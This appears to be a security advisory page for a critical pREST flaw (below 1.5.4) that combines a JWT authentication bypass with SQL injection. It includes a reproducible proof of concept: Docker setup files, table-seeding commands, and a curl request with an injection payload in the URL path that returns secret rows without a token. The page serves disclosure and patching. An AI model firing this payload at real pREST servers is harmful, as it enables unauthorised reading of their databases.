Vulnerability GHSA-wm25-j4gw-6vr3
Critical
CRITICAL RISK
CVSS Score: 9.8
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
2 years ago
July 30, 2024 at 03:04 PM UTC
pREST vulnerable to jwt bypass + sql injection
<1.5.4
<1.5.4
Summary
pREST vulnerable to jwt bypass + sql injection
Details
Summary
Probably jwt bypass + sql injection or what i'm doing wrong?
PoC (how to reproduce)
- Create following files:
docker-compose.yml:
services:
postgres:
image: postgres
container_name: postgres_container_mre
environment:
POSTGRES_USER: test_user_pg
POSTGRES_PASSWORD: test_pass_pg
POSTGRES_DB: test_db
prest:
image: prest/prest
build: .
volumes:
- ./queries:/queries
- ./migrations:/migrations
ports:
- "3000:3000"
Dockerfile:
from prest/prest:latest
COPY ./prest.toml prest.toml
prest.toml:
debug=false
migrations = "./migrations"
[http]
port = 3000
[jwt]
default = true
key = "secret"
algo = "HS256"
[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"
[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"
[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"
[expose]
enabled = true
databases = true
schemas = true
tables = true
[queries]
location = "/queries"
- run commands:
mkdir -p migrations queries
docker compose up --build -d
wait for pg and prest, then run following to add test data to the pg:
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
- SQL injection even without jwt token:
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
output:
[{"id": 1, "secret_data": "some secret text"}]
Related Vulnerabilities
Other vulnerabilities affecting the same packages
High Risk
2 days ago
pREST _groupby function-expression SQL injection (incomplete fix of CVE-2025-58450)
<=1.5.5 GHSA-v9v2-98xq-627c
<=1.5.5 GHSA-v9v2-98xq-627c
Unknown
1 year ago
pREST has a Systemic SQL Injection Vulnerability in github.com/prest/prest
* GO-2025-3941
* GO-2025-3941
Unknown
2 years ago
pREST vulnerable to jwt bypass + sql injection in github.com/prest/prest
<1.5.4 GO-2024-3011
<1.5.4 GO-2024-3011
Impacted packages
Timeline
Published
2 years ago
July 30, 2024 at 03:04 PM UTC
Last Modified
2 years ago
August 07, 2024 at 02:16 PM UTC